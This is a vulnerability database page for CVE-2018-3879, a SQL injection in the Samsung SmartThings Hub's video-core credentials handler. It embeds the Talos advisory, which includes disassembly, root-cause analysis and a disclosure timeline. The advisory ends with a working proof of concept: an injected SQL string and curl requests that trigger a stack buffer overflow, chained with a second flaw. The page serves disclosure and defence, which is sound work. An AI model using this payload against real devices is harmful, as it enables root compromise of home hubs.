Vulnerabilities > CVE-2018-3879 - SQL Injection vulnerability in Samsung Sth-Eth-250 Firmware 0.20.17
Attack vector
NETWORK Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
An exploitable JSON injection vulnerability exists in the credentials handler of video-core's HTTP server of Samsung SmartThings Hub STH-ETH-250 devices with firmware version 0.20.17. The video-core process incorrectly parses the user-controlled JSON payload, leading to a JSON injection which in turn leads to a SQL injection in the video-core database. An attacker can send a series of HTTP requests to trigger this vulnerability.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
- Object Relational Mapping Injection An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
- SQL Injection through SOAP Parameter Tampering An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
- Expanding Control over the Operating System from the Database An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
- SQL Injection This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:
Seebug
bulletinFamily | exploit |
description | ### Summary An exploitable JSON injection vulnerability exists in the `credentials` handler of `video-core`'s HTTP server of Samsung SmartThings Hub. The `video-core` process incorrectly parses the user-controlled JSON payload, leading to a JSON injection which in turn leads to a SQL injection in the `video-core` database. An attacker can send a series of HTTP requests to trigger this vulnerability. ### Tested Versions Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17 ### Product URLs [https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub) ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') ### Details Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture. The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the `hubCore` process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely. One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork. Inside the hub, the livestream is handled by the `video-core` process, which uses `ffmpeg` to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application. The remote SmartThings servers have the possibility to communicate with the `video-core` process by sending messages in the persistent TLS connection, established by the `hubCore` process. These messages can encapsulate an HTTP request, which `hubCore` would relay directly to the HTTP server exposed by `video-core`. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request. We identified a vulnerable request that can be exploited to achieve code execution on the `video-core` process, which is running as root. By sending a POST request for the "/credentials" path it's possible to modify the credentials used by the hub to connect to remote servers. New credentials are sent in the POST body using the JSON format: { "s3": { "accessKey": "...", "bucket": "...", "directory": "...", "region": "...", "secretKey": "...", "sessionToken": "..." }, "videoHostUrl": "..." } Where "..." would contain the appropriate value for each field. Using the ["json-c" library](https://github.com/json-c/json-c), function `sub_3E4EC` parses the JSON string into a `json_object`. All the fields are then extracted and a series of modifications are applied. Finally, the fields are saved in the internal `video-core` SQLite database at `/hub/data/videocore/db/VideoCore.db`. .text:0003E4EC sub_3E4EC .text:0003E4EC .text:0003E4EC dest = -0xCB4 .text:0003E4EC value = -0xCB0 .text:0003E4EC var_CAC = -0xCAC .text:0003E4EC var_CA0 = -0xCA0 .text:0003E4EC var_C90 = -0xC90 .text:0003E4EC var_C50 = -0xC50 .text:0003E4EC var_A70 = -0xA70 .text:0003E4EC var_14 = -0x14 .text:0003E4EC arg_0 = 4 .text:0003E4EC arg_4 = 8 .text:0003E4EC .text:0003E4EC 000 MOV R12, #:lower16:stru_C1D38 .text:0003E4F0 000 STMFD SP!, {R4-R7,R11,LR} .text:0003E4F4 018 MOVT R12, #:upper16:stru_C1D38 .text:0003E4F8 018 ADD R11, SP, #0x14 ... .text:0003E564 CC0 BL http_required_json_parameters ; [1] .text:0003E568 CC0 CMP R0, #0 .text:0003E56C CC0 BNE loc_3E594 ... .text:0003E594 loc_3E594 .text:0003E594 000 MOV R0, R4 .text:0003E598 000 BL json_tokener_parse ; [2] .text:0003E59C 000 SUBS R6, R0, #0 .text:0003E5A0 000 BEQ loc_3E93C .text:0003E5A4 000 MOV R1, #:lower16:aS3 ; "s3" .text:0003E5A8 000 SUB R2, R11, #-value .text:0003E5AC 000 MOVT R1, #:upper16:aS3 ; "s3" ... .text:0003E860 000 MOV R1, #:lower16:aVideohosturl ; "videoHostUrl" .text:0003E864 000 MOV R0, R6 .text:0003E868 000 SUB R2, R11, #-value .text:0003E86C 000 MOVT R1, #:upper16:aVideohosturl ; "videoHostUrl" .text:0003E870 000 BL json_object_object_get_ex ; [3] ... .text:0003E890 000 LDR R0, [R11,#value] .text:0003E894 000 BL json_object_to_json_string ; [4] .text:0003E898 000 MOV R7, R0 .text:0003E89C 000 BL strlen .text:0003E8A0 000 MOV R2, R4 .text:0003E8A4 000 MOV R1, R0 .text:0003E8A8 000 MOV R3, #0xFF .text:0003E8AC 000 MOV R0, R7 .text:0003E8B0 000 BL sub_3E2A4 ; [5] .text:0003E8B4 000 CMP R0, #0 .text:0003E8B8 000 BNE loc_3E9AC ... .text:0003E9AC loc_3E9AC .text:0003E9AC 000 MOV R0, R5 ; [7] .text:0003E9B0 000 BL sub_28874 ; [6] The function initially calls `http_required_json_parameters` at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: `s3.secretKey`, `s3.accessKey`, `s3.sessionToken`, `s3.bucket`, `s3.directory`, `s3.region`, `videoHostUrl`. The library function `json_tokener_parse` [2] is then used to parse the POST data, and a JSON object is returned. At [3] `json_object_object_get_ex` is used to retrieve the "videoHostUrl" parameter from the main JSON object: this function in turns returns a new JSON object from which a string is extracted, using `json_object_to_json_string` [4]. The same approach is used for extracting the rest of the parameters, with the exception that the "videoHostUrl" parameter is subject to a series of modifications and additional checks at [5]. Once all parameters are extracted, function `sub_28874` is called [6] to save the new fields in the database. A structure containing the extracted parameters is passed as first argument [7]. .text:00028874 sub_28874 .text:00028874 .text:00028874 000 STMFD SP!, {R4-R9,LR} .text:00028878 01C MOV R4, R0 ; [7] .text:0002887C 01C SUB SP, SP, #0x2FC .text:00028880 318 MOV R0, #0 ; timer .text:00028884 318 ADD R8, R4, #4 .text:00028888 318 ADD R6, SP, #0x318+var_300 .text:0002888C 318 BL time .text:00028890 318 MOV R9, R0 ... .text:000288E0 318 ADD R3, R4, #0x990 .text:000288E4 318 ADD LR, R4, #0x9D0 .text:000288E8 318 ADD R12, R4, #0x980 .text:000288EC 318 ADD LR, LR, #0xC .text:000288F0 318 ADD R12, R12, #0xC .text:000288F4 318 ADD R3, R3, #0xC .text:000288F8 318 ADD R7, R4, #0x1BC .text:000288FC 318 MOV R1, #:lower16:aSecretkeySAcce ; [8] .text:00028900 318 ADD R2, R4, #0x13C .text:00028904 318 STR R3, [SP,#0x318+var_314] .text:00028908 318 STR LR, [SP,#0x318+var_310] .text:0002890C 318 ADD R3, R4, #0x11C .text:00028910 318 MOVT R1, #:upper16:aSecretkeySAcce ; [8] .text:00028914 318 STR R12, [SP,#0x318+var_30C] .text:00028918 318 STR R9, [SP,#0x318+var_304] .text:0002891C 318 MOV R0, R5 .text:00028920 318 STR R6, [SP,#0x318+var_308] .text:00028924 318 STR R7, [SP,#0x318+var_318] .text:00028928 318 BL sprintf ; [9] .text:0002892C 318 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb" .text:00028930 318 MOV R2, R5 .text:00028934 318 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb" .text:00028938 318 MOV R0, #3 .text:0002893C 318 BL db_add ; [10] The function `sprintf` [9] is used to build a new JSON string, using the parameters structure at [7] and the format string at [8]. Specifically, the format string is defined as: { "accessKey": "%s", "bucket": "%s", "directory": "%s", "region": "%s", "secretKey": "%s", "sessionToken": "%s", "time": "%ld", "videoHostURL": "%s" } Finally, function `db_add` [10] parses the resulting JSON string and, by mapping each JSON key to a column name, updates the database accordingly. In this case the following query is generated and executed: UPDATE shard SET secretKey='...', accessKey='...', sessionToken='...', bucket='...', directory='...', region='...', videoHostURL='...', time='...' WHERE _id='shardInMemoryDb' As we can see, no sanitization is performed on the parameters throughout the whole JSON parsing and creation logic. Moreover, the "json-c" library has been compiled with `JSON_TOKENER_STRICT=0`, which allows for defining strings with both single and double quotes. The original JSON payload read from the POST request is expected to utilize double-quote characters for strings. If, instead, single-quotes are used, it is possible to inject arbitrary fields in the JSON string generated at [9]. In turn, this allows for specifying custom columns in the SQL query, which are not wrapped with quotes. SQL queries are executed using the `sqlite3_exec()` method, which allows execution of stacked queries. Thus, a JSON key containing a semicolon character allows for executing arbitrary SQL queries. Finally, arbitrary SQL queries could be exploited by an attacker to execute arbitrary code in the context of the `video-core` process. We identified two different vectors that allow for exploiting this vulnerability: - Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to `hubCore` that would be relayed without modification to the vulnerable `video-core` process. - SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the `hubCore` process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable `video-core` process. A third vector might exist, which we didn't test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it. Note that while we scored this vulnerability CVSS 8.8 on its own, it would constitute a CVSS 9.9 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0557. This is demonstrated in the proof of concept below. ### Exploit Proof of Concept The following proof of concept shows how to crash the `video-core` process: # using curl from inside the hub, but the same request could be sent using a SmartApp $ sInj='","_id=0 where 1=2;insert into camera values (123,replace(substr(quote(zeroblob((10000 + 1) / 2)), 3, 10000), \\"0\\", \\"A\\"),1,1,1,1,1,1,1,1,1,1,1,1,1,1);--":"' $ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}" $ curl -X DELETE "http://127.0.0.1:3000/cameras/123" This proof of concept exploits the JSON injection to execute an arbitrary SQL query. The SQL query simply creates a new camera with id "123", and uses a 10,000 bytes long string of "A"s in place of the `locationId` column (2nd column). This string could be replaced with a ROP-like payload. The last `curl` request makes `video-core` to delete the camera with id "123". Before deleting, `video-core` reads every field related to the camera, and since the application trusts the contents in the database, an overlong `locationId` is unexpected and causes a stack-based buffer overflow which overwrites the saved PC (TALOS-2018-0557). ### Timeline * 2018-04-09 - Vendor Disclosure * 2018-05-23 - Discussion with vendor/review of timeline for disclosure * 2018-07-17 - Vendor patched * 2018-07-26 - Public Release |
id | SSV:97441 |
last seen | 2018-07-31 |
modified | 2018-07-30 |
published | 2018-07-30 |
reporter | My Seebug |
title | Samsung SmartThings Hub video-core credentials Parsing SQL Injection Vulnerability(CVE-2018-3879) |
Talos
id | TALOS-2018-0556 |
last seen | 2019-05-29 |
published | 2018-07-26 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0556 |
title | Samsung SmartThings Hub video-core credentials Parsing SQL Injection Vulnerability |